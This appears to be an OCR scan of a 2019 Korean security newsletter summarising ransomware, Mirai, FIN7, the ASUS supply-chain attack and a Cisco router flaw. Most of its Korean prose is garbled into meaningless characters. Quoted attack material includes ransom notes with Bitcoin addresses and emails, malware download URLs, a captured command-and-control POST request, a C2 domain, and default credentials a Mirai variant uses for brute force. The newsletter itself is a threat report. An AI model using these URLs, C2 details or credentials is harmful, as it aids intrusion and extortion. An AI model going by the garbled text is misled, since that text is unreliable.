," A SEX kr porn
Trojan.Android.Agerit

HYEQl Yoz 9Pt HX|E REELICH
ADIEZ0| Ci3t 2E Aote 7HE £ AELICH

A5t

X Yo M OflM= S 2 ME  "TrojanAndroid Agent”  EIX| BOZ TIHSHT QUL
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WinRAR Ace ASZI! Solf HIEEf= JNECa hedRl|o] 2

JNEC.a Ransomware Spread by WinRAR Ace Exploit
M= 2E0{21 JNECa 7t 22 BT =l WIinRAR 2] ACE Off EXtioh= Z= Al FFH| AASZ0IS Solf HiXE
&[T = AO=Z LIEHATY O] SHMQ0l= BREE Y=kt = ToiXP} i HLIE XISt I £S5t 7|12

=0 B2t Gmail FAE WEoIH, TioiAt= sy FAE AE0I0 AES Ydoliof it

0

2E AL, 0] 2H0t= HRES| HOEE ef=siet = TN Jnec 2FEAIE 22IH. =2t 7(9] 7142
0.05 HIEZ2/(2F $200) OICt.
S22 F2 0 Hdl02] MEA = Y 558} 7|15 HEok=M| S0/t S AkZeitt= A0|Ct HEE

ZEE{O| 19 ID HS2 7| MUS 945t Gmail FAS ARSI
0] OJHIY ZiAs A L EOfi= LIERFR|ZH OFE| HIEO0| AMEIX]| 042 AlEHCH WIS} LIS Xi=5tn T
STSEIA} 8 A, WK AR 0] FAS AR 5101 Gmail 0ff 7RI5H0F it

JNEC.a

Encrypted files: 43 Deposit amount: 0.05 BTC
Your Email: 2rlcDRLVpSiR@&gmail com
(Create this mailbox to get the decryption key, as soon as the payment amives, we will contact you)

INFO

ETC addres for pay: 1JK1annd KEQRf 8n 7p HANvmVEW X Tiq TkVa

Buy a key
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') JNEC README.TXT - Notepad2 = |5 ]
File Edit View Settings 7

DS o d| LR A|(E) QR @ §e

1 Deposit amount: 0.05 BTC

2 BTC Address: 1JK1gnn4KEQRT8n7pHZiNvmVvBWXTfq7kva

3Your ID: 2rlcDRLVpSiR
aYour Email: 2rl1cDRLVpSiR@gmail.com (Create a mail to get the decryption key)

Lnl:4 Coll 5el0 174 bytes ANSI CR+LF INS Default Text

Qihoo 360 2 04?’*%8 M| SHNM VK 4221345rar” OFI0[E IS UZAHCE O] MpAU0[ 19 1A SOt

Soll Y= olilE 2% JNECa & =&folA| =Lt
OF ARIEIC 2U=0] si[E F< g 2149

EXliol= ZF0i FI2fet WinRAR =
O ot 0710|29| LIBS F=ok= AC=2

JNECa = NET O XME[Q
24} €1 O[O[X|7} EAIEICH
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Of O[0IX|= 2ol AFEAIS2 1A 7IEH Zel0] et =Tt MZfsh o+~ RIS ZX0IC,. ShX|2E, 2HE04= 0]d]
AARS AR

O] WinRAR AS 292 HEAPZ L AT =S PR AR ZL0f| E8foll THE 2121 A| 2tiE o= AULS o1E2IT.
AHTEO| EXHE 5717| Lo, MEIXR= Ol "GoogleUpdate.exe” 2 0| 20] 22| YH0|E TEhAE

I

d

°

-

=3 EoR =

@T\)ﬂ . « Microsoft » Windows » Start Menu » Programs » Startup - | +3 || Search Startup e
Organize « Open Share with = MNew folder i= » [0 @
b S¥ Favorites e Mame Date modified Type Size
desktop.ini 3/11/20159:16 AM  Configuration sett... 1KB
> [l Libraries 1 = GoogleUpdate.exe 2/21/20199:03 PM  Application 79 KB
#J, Homegroup

1% Computer

I Goog|EUpdatE.exe Date modified: 2/21/2019 9:03 PM Date created: 3/18/2019 7:23 AM
. Application Sizez 79.0 KB

WinRAR ZOFYS OI=5H= 242 T12) OfZIX| ULk 0] Z0 et £240| ZHE S, PoC ZE7} 2210101 LIEf(TE
0%, 10| HO|ZE7} E3tE Ob 0P 0[S AHSOR MAsH= ATZET GitHub Off LIERHTE
RIS, McAfee &= FOFE0| Z7HEI 0[5 1 Z:20f 100 21 00| B20| IQIEIAOD], 1 4= i B7IH=

F0[2f1 HTIZHTY,
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4 010 Editor - C:\Users\John\Desktop\test.bit.Jnec ow||Els
File Edit Search View Format Scripts Templates Tools Window Help

N IR LY R

test.txt.Inec (@

Edit As: Hex Run Script Run Template

4 “ . r - e o - " = - U | 8 | o _'_1__"'_‘_" _:'___. _“_:_

0000n: 8D F1 78 58 CC B4 DC DA 72 67 D9 F& B6 E€ BB BF  .AxXI UUrgUeléwg
0010n: 74 27 AF F4 67 DO DF A9 AR E1 06 CA 71 E1 72 08 t' &gUs@24.Eqar.
0020h: 1F F7 18 6E 16 50 CF EF E6 C5 31 F3 AS 90 C8 E9 .=.n.PiisA14¥.Eé
0030n: 10 17 SC A9 99 91 Al A2 27 ES 74 84 BD CE 50 A9  ..\@™';¢' ét"HfPﬂ
0040n: DE D9 F9 A7 SA BA RA AC 34 02 9B 7B 7C 07 6C F4 BUGEZo%:, »{].

0050n: 42 D3 FD A4 DC 76 78 E5 B2 B5 C6 E6 FA 2A 56 71 BOyuiiv{as uzeuqu
D060h: S5C 1A FO BE 69 14 3A BD B6 DE 4D EC 39 56 2C ES  \.&%i.:%IBMioV, &
0070n: 1D BS FA FF 50 D1 09 A4 1D A8 91 SD OE EC 49 AD . *GyPN.m. *..iI-
0080h;:; 11 47 75 4C D8 38 00 51 CE 21 DA 62 E9 7A 3D CB  .cul@g.Qfi'fpéz=t
D0%0h: 9B 8C Bl 42 17 DF 8A 2A 12 11 B6 BE C5 40 6B 28 @+B.nd~..q Ak
00AOR: CC €5 6F 2D DE 17 EE 90 A9 EE 86 72 B4 S5A D3 17 1iec-P.e.@itr-2z0.
DOBOR: EB FB 52 CO D8 D1 BC 34 9D 61 91 94 64 70 8C D3 &4RAENES.a "dpEd
00COn: CA 4B F7 51 40 5C C1 8B D1 1F 9F 54 18 94 D5 94 ER=Q@\A«N.¥T.~"0"
00DOn: 06 ED 64 43 1C 62 AE 25 DS A4 05 99 20 AE 35 4E .i9C.b®3Un. ™°gSH
OOEOh: DB 3D 77 3A 43 59 C7 13 9A 45 39 4A 7D 91 3E 43 U=w:CYC.SE9J} '>C
DOFOh: D4 B7 31 05 AD FF F4 8C DB 36 44 25 B4 83 F9 34 O-1.-voE0eds’ fus
0100h: 8F 22 FD 03 BD FB 30 FO 16 FO FC 6E EO 77 1E 13 .#*y.}008.50naw. .
0110h: B2 BB 3E D5 33 1F C3 4F FF CD 8F Dé 3B 7B A1 FO =,>03.A0vi.0:(;5
0120n: SA 84 99 DD 4B 6C 93 BE SA F6 6A 15 E7 70 15 EB  Z,™YK1“%Z83j.gp.&
0130h: F9 D3 OC 88 22 3B 09 BS 57 3D 48 03 45 37 FB 9C uD.‘“ . pW=H. ETie
0140h: FO 47 C7 09 OD 8A EA 28 31 65 00 F3 84 02 SF 21 &GG..3&(le.b,.. !
D150n: B9 61 79 CB 20 FB EA 3C 99 51 00 &5 C8 FE DS A2 *avE oé<™Q.sEpUsc
0160h: 4A 14 CE CO AD 73 OC 46 85 1A 7B A7 1A 5C 35 7C  J.iA-s.F._.{§.\5]
0170n: 75 A7 17 FD DF 24 DO DF DA 83 62 6A OF 07 FA EE | u§.yBSPAUSfb]..ui
D180h: 59 SA B2 &7 F8 7E 3B FD 5D AF 98 8B 9F 8A 7F F5 Y3sge~:;y] ~«¥5.5
0190h: 1A 13 57 SE 42 1A B7 B3 06 63 F7 52 17 FE OC 18 ..W~J.-®.c=R.p..
01A0n: D2 30 1E B8 6E F5 35 9C 3F FC 3B 27 E8 EE 4C 45 O0. ,n#5w?i:'&iLE
01BOn: E2 55 37 F1 07 7& 1E 31 8D 20 99 CA 8D C1 DS A% 4&U7A.z.1. =E.ide
01COh: F5 D7 37 21 39 17 BD OF D4 C4 8F Al E8 50 Bl CE &x=7!9.%.04. ;ap+f
01DOn: BB C8 FB 28 32 18 D6 9D B6 BB 72 SA 02 B6 EA EB  »EG(2.0.I»rZ.gé& _
01F0h= DA AR 43 C8 8B F7 51 17 38 46 75 3B 41 88 2D 53 ﬂ-cﬁ<+q.aru:a]—s =
a4 L) 2

Pos: 0 [Oh] Vak 141 8Dh 10001101b  Size: 108048 ANSI LT W OVR

|:|»[|4|

Of 2H&A012] HIEF QI X[Z0l= 12 Z49] 2ot UNICE SkXIZE 7R 212 72lk= 2018 H 10 22 ORI ==
K=t Deliit= gle A= =20,

[EX] https/Avmmwbleepingcomputercomynews/security/jneca-ransomware-spread-by-winrar-ace-exploit/
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ZX0 M= F12E], HHedRlo] S2F6l 40 Tt 22 X =0l

Jackson County paid $400,000 to crooks after ransomware attack

ZX|0FF B 7E2E(Jackson County)2| ZREISO| SAS WOt HE TV} OH|=l= ARAO| LESHCt

0| ZFESS HMY0{0] ZHFE A= LIEGCH, s 742 TS £531517| 2o $400,000 42| 2

HLIZ XS5l |= 23,

M= F12E| 52 SZ0| X5 Tet X 2 T HARE2t MHE 25 SSsfok= XY S021 B3t S8 2
OlHIY MHIAS Zetot M= 712E| Lf B= FM2| HARESO0| 0 AT =0 HFEICH 911 2FE Fet= EA|

QUUTE M FI2E| S "B O[IY MHIAT} CIZEIR| TH=0M, Gf2i0] TSt 22 MaiS 0jgaRy 2tn
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3 QIZ2 T 7I2E|0| AIRA0| THS Fot OISHE] 20 S0IS ASSIES KU ILUCIT HERC

— o
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EHSAIS0| HHS ZH[oH T UX| RIUALL, #i0] E 22| E|X| BJ0F eiA0IA YSelE A= FEELY,

FI2E| B2 "B TRt Sot 2

= oF S/ st MHIAL P WR| 27| THE0 911 2 75 2 4 UL

—1L— OO S
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-

il

Olz AMH|A= Ef 2H0IM 2F S0I47| 20 EMS MH|AO= M2 FINES OIFELICE” 2i0 $H3dCt

FBI = SA| ZAIE AIZBHOMH 0] S40| SREIS| SAX| Alalist Z10(2F F=S3UCE Eot 7F2E[Q| 22|X= 340
AME =l T ET Ryuk SHEAIEELT Bi4CE Ryuk T = 2H =2 Lazarus APT &1} 2HE Hermes
TRt KR Z{OF F=EICL 0] 2HMYIHE 2|2 &€ AERE KU 52 EJIX ZAAUMA EIRIX 5 FQ

CHd LhZAL| 412 HHELO| H2ks OIRICE
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HOR FE5H1 ULt

[EX] https/thehackemews.comy2019/02/drupal-hacking-exploithtml
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Ransomware Attack Forces Aluminum Manufacturer to Shutdown Systems Worldwide
2xl| = o2l Norsk Hydro 7t AO|H SZ= 0L T AIAEIO| ALE S71et HEf7}
K40| AIABIS SEIAIZICE Norsk Hydro = QAR U5 BR=0| 2%

Lotz TH2kRiCY.

MIA Z[cH r=2o] L0 it

50 QBT 01 M0 RIB 0121 B
AIZION, L=29I0|, FELS, Hatd 59| F7loiM 758 B 2502
RIS |7] I3t

Holld S| IT T27Pt EEMCH, ol 45 2

O[=0llA AZIE O] AO|H SH2 X318 Y
A 3 ARAQ| TAIEQI LIES AL SOICE
Norsk Hydro 2| CFO Q! Eivind Kallevik 2 2IAIS| A|ARIO| H| A M= 2|01 HEQ! LockerGoga Ol S4=
HIICI SiSICt O] 2iMY|0l= ERI ARE<2| MYUS Sst S I = I— Sloh HMHLIE 1510t
Kallevik 2 “SiXf et B MZISHCL M MA| HERKF7} CH2 S0|H, 2E At U AR 2F0| k2 D[z

QUCE” 21 RCh
= K9S ol 27 |51t 246109 Norsk Hydro 2] AFA

71Kt EIZA0IN 20| =7t Ot T (NNSA) ESH L=
FA0| 7iE ZEE SMR! Altran

ZAE 1 AT gSict
ATHES0 M= LockerGoga 2ER|0l= S| HHEE 42 OfL|H, Solf = &
Technologies £ SZ5H= Ol ABEIRICE Skk= 0| HES siZstr 2 3 AP0l 0IR! F&tS st |oil=

OFEITIX| 42 OJSLICE" b 3L,
AUSS T Q0] S| 7K BT LSt ISR} SIACH
- Norsk Hydro =

Norsk HYdI’OE Xt 2 H S 2 F: V|HEE 34
0] SZUM 2\t St H0[HE WA= OFX[= OFRI7EX| LEAX|X] ‘E=*°”:f °4IH§*1
AOJH H&0] 71fet EHO| 48 HIO|EE AtSol] AlARS S+t (Rl A2 LIERHTT
Z|H M ti=S0M ESock= MAM 71 2 2R0IE

REZ0| 2AIE = Norsk Hydro = & MIA| 50 7H=0HIA
|\t S SHAO|CE, Of A2 QUSH SIAFR| A2 OF 19% SiEtet AEHO|Ct

=X]  httpsy/thehackemewscomy2019/03/norsk-hydro-ransomware-attack html

https//newswebosloborsno/message/472448
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STOP H%l0d, Mfolix} 717104 IRARE B EZ0|=0t EX|

STOP Ransomware Installing Password Stealing Trojans on Victims
1= Y=3sloh= A Q0= MshAte] AP CISHE, 71t ofH X, HIATE

STOP 0] THEZ|7t DfcAte] TS &t
ofRl S8 &X|7| QloH Azorult TAYIE EfF| EZ0|Z20E MX[GF| A|RIGHCE Azorult EZ0|=20H= HERA L

f%Oﬂ Mg olAER| AFI0|T HNX| S5 EFRICt
53] XH

AE HARIE, 7k =i X, 28 F2|HlE, B2t
= 32Xt H0fok= B4 M= HAZEFICE STOP 2HERI019] DVU B2 X[t 1 8 71t ATEQ0]
Iotixte] HFEOA 0] 2S oh= Dot HEHES L2225 3

of HHEEI"*Er 0| HHTFCE=
SIEQ CIHINE HIZMMEIGH= A, 2|1 fIE22] hosts TAUS 4%

LLI
I r
fjo
OHH

I‘—HI 7Hp B2 SfHS EAlskE A
AO[EO| I**ga* ILE=R Ff‘l‘— 2 SO| Z2t=|0] UL,
g

Getting your update ready.

Configuring update for Windows.

Don't turn off your computer or close it.
Percent complete: 4%

=] https/Amwwibleepingcomputercom/news/security/stop-ransomware-installing-password-stealing-trojans-on-victims/

iI—E A=l 54355% Eﬂ*E?ﬂEEﬂ, Any.Run MX|E 25l CreE=35t nro géﬁ.m Azorult Zigioz
=y

HOt MBI = {AEl = AE
2 UACHLT

[EX] https;//appanyrunytasks/Shadbed8-c19F4fd6-bed?2-23d58664ddsf

Azorultﬂ“IIEI—XI STOP Promorad 280 5 MES HREE 3 X6 = 21, 0] A0S LtictH
HEI| HO[EE Ri=sfelrt.
89
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HEST Efm 2|AE

- http:/ /ymad.ug/tesptc/ck/updatewin1[Jexe
- http://ymad.ug/tesptc/ck/updatewin2[ Jexe
- http:/ /ymad.ug/tesptc/ck/updatewin[ Jexe
- http:/ /ymad.ug/tesptc/ck/3[Jexe

- http:/ /ymad.ug/tesptc/ck/4] Jexe

— http:/ /ymad.ug/tesptc/ck/5[ Jexe

- http://ymad.ug/1/indexLJphp

2}

b
bl

HE2 OIS ASSIet [ promorad EFXIE 20|10 _readmeitxt 2t= 0|52 HML-EE MMSIT

HMLE L

ATTENTION!

Don't worry my friend, you can retum all your files!

All your files like photos, databases, documents and other important are encrypted with strongest encryption and
unique key.

The only method of recovering files is to purchase decrypt tool and unique key for you.
This software will decrypt all your encrypted files.

What guarantees you have?

You can send one of your encrypted file from your PC and we decrypt it for free.

But we can decrypt only 1 file for free. File must not contain valuable information.

You can get and look video overview decrypt tool:

https://we.tl/t-l0rToOhf

Price of private key and decrypt software is $980.

Discount 50% available if you contact us first 72 hours, that's price for you is $490.
Please note that you'll never restore your data without payment.

Check your e-mail "Spam’ folder if you don't get answer more than 6 hours.

To get this software you need write on our e-mail:
blower@india.com

Reserve e-mail address to contact us:
blower@firemail.cc
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Your personal ID:

lid]
STOP 2HMQI[02] DVU HEL X[t 1 & Tt ATEQ F24S S5l BEE(RACE 0] AT EE TSHALC|
ZTE{0f|A] Of2 ZAHS Sh= ClFsH ZARHEES CIRICE 2 ASHSH=H| 71t YIS 31H % HABI=E A 2=
CIHGHE HIEASIGH= Z4 2|10 $IE9| hosts MRS K61 HOE A |EN| HA&S 4 GUEE XIEtsH= 24 50|

IS0 QT

( pu [1. » Computer » Local Disk (C:) » Stest vl&,‘| Seqrch Stest o
Organize v Include in library Share with v Shide show New foldes = 03 @
»{ Favorites =

= — - oG, e -
¥ Libraries
= Documents
M S
i\ e _readme.bet 1.doc.promorad 1,jpg.promored 1.png i 2.doc.p
k= Pictures
Videos - | N | o =
'Q Homegroup
% Computer 2,jpg.promorad 2.png.promorad 3.doc.promorad 3.jpg.promorad 3.png.promorad
% Network = *, 5t 3 3
4.doc.promorad 4,jpg.promorad 4.png.promorad 5.doc.promorad S.pg.promorad =
, 151 tems

POST /1/index.php HTTP/1.1

User-Agent: Mozilla/4.8 (compatible; MSIE 6.8b; Windows NT 5.1)
Host: ymad.ug

Content-Length: 161

Pragma: no-cache

..Bp.3..6d.6m
HTTP/1.1 208 OK
Server: nginx
Date: Sun, 16 Mar 2019 14:43:33 GHT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
X-Powered-By: PHP/5.6.38

y

[EX] https/Avwwbleepingcomputercom/news/seaurity/stop-ransormware-installing-password-stealing-trojans-on-victims/

STOP 2I9010] HZ0H 2T TEHAK 22401 AHS0| AIS, 55| HASK0| XIE HASS SA|
BIBHOF SICE TS ATJOIT, AR| SR 72 2 FIP S20IXIES 22 ADEQ0(0] HIUHST Ls| H5H0F
BICE, T2/ HAIEN) KIS TU0| IO 201 HORAS 4 UOD, 3 Il JHol HE} U=X|=

2IoHOF SITH.

o
:

[EX]] https/Avwwbleepingcomputerconmy/news/security/stop-ransomware-installing-password-stealing-trojans-on-victims/
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New Mirai Variant Comes with 27 Exploits, Targets Enterprise Devices

Mz2Z AASZA! 11 7HE F7tet M=2 0[210] HE0] 7”& WePresent WiPG-1000 4 Z[HIE|0[M AIAH]
3 LG Supersign TV 2t 22 Q17| Q= FHISS 2|11 ULt X[ 9 & Palo Alto Network 2| Unit 42 7+ 2 HESt
H11M0l= Apache Struts MHZ EIS HZeH O210] 10| ZHA 2list Equifax AEHOIA ABE Aot SYstS
LZASMOMH, SonicWall Lt SZ0M Gafgyt HH ot LASIRICE 0= 71| XS eef= Es02H &
ULt

ATHSZ 0[0] TR FFHC| AYAZZ0I0] 0| AEE RS &RIACY 0= SZHXIS0| Apache Struts 2
o -
- —

CVE-2017-5638 2t Z2 2f2fet Hot ZH0| EXifot= IHX[=X| F2 7171Z ofidoll 2k SZ0| St

CHES2 2019 A 1 2 HAE 0[210|9] YURFEQOI B2 2fRE, HIERIT HIC|Q7HH|2f, 23 2tRE, M
ZEEHLt 12{Lt OPH 7|0 A2Sk= WePresent WiPG-1000 24 Z|HIE|0 M AJAE] 21 |G Supersign
TV &| FUHE Aol AMSH = A5 LML FEot A FIHE AASZ9! 11 7171 SZ0H| AFZE[0], O|20[7t
MEsSt= & UAEZEQIQ| = 27 717t E[RUCE SHHE2 0] 24| obd Hio[=2=7} TRt HOt S8 3

DL MHIAS MSsh= S2HI01S] 20N AR B Q= RS LHACL 0l M2R 7Is=2 XH9

WAS it 55| 7|8 35 SHICHH DDoS 340 ARBEl= RHIQ| 2iEs =2ICt

§

9
4

0

At F71E Mirai UAS=EQ] Y2 23|

Vulnerability Affected Devices

CVE-2018-17173 | LG Supersign TVs

CVE-2016-1555 | Netgear WG102, WG103, WN604, WNDAP350, WNDAP360, WNAP320,
WNAP210, WNDAP660, WNDAP620 devices

CVE-2017-6077, | Netgear DGN2200 N300 Wireless ADSL2+ Modem Routers
CVE-2017-6334

[EA]] hitps;/unit42 paloattonetworks com/new-mirai-variant-targets-enterprise- wireless-presentation-display-systerms/

MZ ZZAE 0|2t0] HE2 Of2He| 7[SS0] UL,

- O|2t0]e] EXQI Oxbeafdead HIO|E 7| LS3 MA Al

- Y 7|12 AIR5I0 EX1Y 2535t A|, EREE TA(Brute Force) EX LCIZE Q15 XMH =X
(admin:huigu309, root:huigu309, CRAFTSPERSON:ALC#FGU, root:videoflow)

- C2(Command & Control) E4I2 {8t =MHQI epicrustserverl.]cf, ZE 23823 AtE

- CHE F st 7(7] A90'd Y HTTP Flood DDoS 34 dd &3 7ts
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04 S=9H HOot T3k
Mirai = 2}2E], CIX|E H|C|Q Y2, IP 7HH2It 22 loT 7|7 |SS W2 DDoS 3240l AIRE 2oz TEr=2
AAIE XA| M self-propagating) S410|CE 2016 H, SAXIS2 650Ghps 01| DDoS &240| 7tsst =Tt
CHe| ZiEE! 7|72 O|F0E T2 O[2f0] R4 HCt
2 3ME T=E 2610 2 K|
ot 34 2 FRICL
O RX| THZS St

HEO ExXH
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o

[EX]] https/Awwhbleepingcomputerconmy/news/security/new-mirai-variant-comes-with-27-exploits-targets-enterprise-devices/
[E ] https//unit42 paloaltonetworks comynew-mirai-variant-targets-enterprise-wireless-presentation-display-systems/
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A0 X 15 FIN7, M22 24dTE S A1 X}

Despite arrests, FIN7 launched 2018 attack campaigns featuring new malware
FIN7 AfO[H Z| T2E0]| X|ol 042f Ho| ZX|210| HIXLE S| OFE] ZAXHSICH= AISE HO0|1! QUL Astra2i!
=tz ME2 22[Xt Ifd E1t O|M0fl= & =~ ST M= ofd =773 ME0| LAXYY| IHZO0|CH,

FlashPoint SHES2 2018 A 5 ERE 7 EX| Astra £ ES= HERICEL ME71E52 FIN7 280] Mo

2015 HISE| Q21T S5 5 4770 F0IM 100 01 7 OIF 71212 THAOR SRS AOJH| HEIS AFLRCIT HCE
T2 RiteH 8 B 0 PR FIN7 50| SOR ATl RI20|LE Hha 30| HE AAS HEYCL OS2
Combi Security 2H= Skt 1011 3,600 7H ORA] ARIZION 6,500 7H OFA40] EXE7[0fl ZE5101 THE: UL, & é
28 A0l HEHZ 2071 712HI={(Carbanak) ZATIQIT} HZE HZOIS ASSI0] D 7IHS2E] 1,500 2
Olel 271 71 7182 BHCL TBILFIN7 Al H1E Z1elo] OIS 251 712iz 174 X 7k g
=Bl BHS WK QoI

FIN7 Z1E0] Astra Q10| THAS PHP 2 AEI ATRIE Pi2| NARIORI T4 AJRIES AME ZRER
20| = 7158 FRIT ULt 247152 Astra T2 HRIS PHP FE0IA Combi Security SII0il Chgt £
UZHZHOM, O O ZTIQIT} HZIHCE Combi Security SN 2IAI0fR} 0|ARIU0 222 £ opNTE HE
EIAE 2 B0 AHIA SNOICE, HEIISE FIN7 20| TIZ PSS AOJH 2] S0 ZI5H7| 2IsH Combi
Security & BIIEIQ! AIRIIO! 2R QRIRICIT Q1FCE

Astra B2 522 A=, uﬂxr— O A THRI0] HRIE ThY O[HILS Saf T ALNEO CHSH B2 AZHIS
SHESICH O[IYS MR SXEI0] UOH LSt HIAKIS S0 ARSI oY BAS MUSIES Q61| 96
B2 K2 Tl Sich o1 2 3 S SOLRatOPET BRSHSE OFF] 2 QIIEI o0 889 ajo

C}. <
SAE AMAROINM TUS MHolil SQL AFEE Sls SRHAZICE

m X

SQL ATEHES ME2 7122 ofd AZEL |02t He| 215X
OFYTEZ TAUO| AK|=|H HOSIMOZ S8t 4~ Qli= A2 OFFAT §iCt 0] 7[=2 FIN7 52t 2=AE 29|
F A0 A= ZREEIX| R HOICH.

Ol AEESS W7 IX| Y=Lk S30| QIrt 3k

S Wi} W22 O 272 MZE DNSbot Of2H= HE| Z2ES MEO{TE, DNSbot 2 2AE 717| AojofA
0| WESH HIOJEIS ZOfLi o AKREIC X2 DNS EfTie S5 HIS5HAI2% HTTPS LtSSL 22
QUSHIE AR MBS A Uk AHOIS T 27H0] AMS B Kief SIS MA510] ALNEIO] i AFEEH 4
UES MBICL SHE QITEE FINZ I8 B2KIol Of3h HOf=I, FIN7 20| 3% 220 02 4 Urt

[E=X] https//wwwscmagazine comyhome/security-news/despite-arrests-fin7-launched-2018-attack-campaigns-featuring-new-malware/
[EX] https/Awilashpoint-intel.conmn/blog/fin7-revisited-inside-astra-panel-and-sgrat-malware/
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ASUS ATEQI0] HLIOIE At shZEH 2T = HHTE
Waming: ASUS Software Update Server Hacked to Distribute Malware
CHEES| ZHCH 71 7[RI ASUS 7} AiAkSH 4R E] uhit O Of&S 24ARI tiE S S2Z(Supply Chain Attack)0|

AL,

mjn
=O£
o
o
Fn:
il

0| o7 &2 Xltol 2018 A 5 2~11 & A0 ASUS 2] Live XIS AZEL||0] HL|0|E MH
I, M MA| = ZFE HiTH O OF40]| BIE01E HX[Sh= 2 YH0|EE SSIHC
7IAIAT |#(Kaspersky Lab)2 01 "M=5HH Z%H(Operation ShadowHammer) 02+ 015 E2

31 & Asus S0 sHiS S5 SZ01| CHol ALY,
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™ 55A7AASFOE52BA4D78C145811C830107 Properties X

General Digital Signatures  Security Details Previous Versions a Certificate X

—_— ) General Details ~Certification Path
Digital Signature Details

General Advanced

= Certificate Information

=7 Digital Signature Information

e This digital signature is OK. This certificate is intended for the following purpose(s):

= Ensures software came from software publisher
» Protects software from alteration after publication

Signer information

Name: ||ASUSTeK Computer Inc) i

E-mail: |N0t available * Refer to the certification authority's statement for details.

Signing time: |Not available Issued to: ASUSTeK Computer Inc.

View Certificate
Issued by: DigiCert SHA2 Assured ID Code Signing CA

Countersignatures
valid from 6/20/2018 to 6/22/2021

Nam... E-ma... Timest...

Install Certificate... Issuer Statement

Details

OK

FE54] httpsy/securelistcorm/operation-shadowhammer/89992/

ATHES2 2d UHI0E HE 200 /M Ofdd= 24 21l o717 2= ABAIE 2l 40| OtL|2t 2FdT =0
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HLI0|EZ PEoll 22 7[2F St LZEIX] IR,
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XIZ3HCE ESET Ate] H0t MI27ISIE BARIUM T RIS & CF2 23 B20| ThsH ZABEL 2120, 0] ARIE

ESTsecurity



7IATHAT|0f =, SHE=0{7t IekEl ASUS Live Update HITH2 7HAIHAT | A ARZAL |4 57,000 HO| TH22=
X EXRUSLICE 7EATHAT 0fAf= =Eiet CIO|EZICZ O] ARM0| 2 F AREAIR| =5 Ot | O{&Ct
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[EX] httpsy/thehadkemews.cormy2019/03/asus-computer-hackinghtml

[EX]] https;/securelistcomyoperation-shadowhammer/89992/

ESTsecurity (opyright © 2019 ESTsecurity Corp. Al rights reserved. 96



Cisco S 21E2| RCE ZE(CVE-2019-1663) HLI0IE

Cisco addressed CVE-2019-1663 RCE flaw in wireless routers
Cisco 71 2F FM 2}2E0| EXliok= X[HHQI lclf’é.*?_l QVE-2019-1663 = YOO [E3HCE O] FUM2 AKXt
ZH|HA B0 2 TE ABHO| 71sS0HEE 5i&siTt

ofid FIFH2 CVSS T 9.8 = UUCH, l 7|2t Z=|X}t QUE|HO] AT} EXHok= 3 7HO| 2t ZROM AFEXIZL

HiEet H0[EHE MHEo| ZSoHX| Xolf Zdigict. 0] & 7[2te| =[xt °|E1IH|0|*" EZ AN HZO|L} & 2|
DS Soll B2 o= UKL, SFES2 B4 2l 71S0] 7=X0 2 HigkdelE Zis 2ACt

AATOM Y XI=0 MEH, 2l 7[9E Z2|Xt QIEHI0|A| ZEXHok= FFE2 Cisco RV110W Wireless—N VPN
Firewall, Cisco RV130W Wireless—N Multifunction VPN Router, Cisco RV215W Wireless—N VPN Router Z2Z10f|
ZEMoHH QBEIX| L2 A SZXPt Feket AH|0M ele] FES Asis 01R°th_l SHACE ot SAKE= EFA

s & o+ 1= O
[0 2Fd HTTP QFES Elii= YWAIO = 0| FFESE AU 7iset, F2Fet 71719] 0S 0l ¢ Hets 71
MEXIZAM Qlolo] FES Ml 4 ATk HHCt

ol FIFH Fek2 2= Cisco 222 Cradt 20t
- RV110W Wireless—N VPN Firewall
- RV130W Wireless—N Multifunction VPN Router
- RV215W Wireless—N VPN Router

Sixf| Cisco OfiA= 0]0] SHE F[2FH0]| CHet THX| S SIHZUCE O[0f| FUEO| EXSk= Cisco £ 2IREHE
AESH= AZAPVAME CiZat 22 £ HEO = HH|0|EsHOf i,
- RV110W Wireless—N VPN Firewall

- RV130W Wireless—N Multifunction VPN Router
- RV215W Wireless—N VPN Router

SHE FoFE2 2018 41 10 & GeekPwn A1610| ZAHHAO|A ZIHE|RAK(DE SA| HTRRASS 7|&X MiE HEE

S/HOIA| I,

[EX]] https;/securityaffairscoordpress/81820/security/dsco-cve-2019-1663 html
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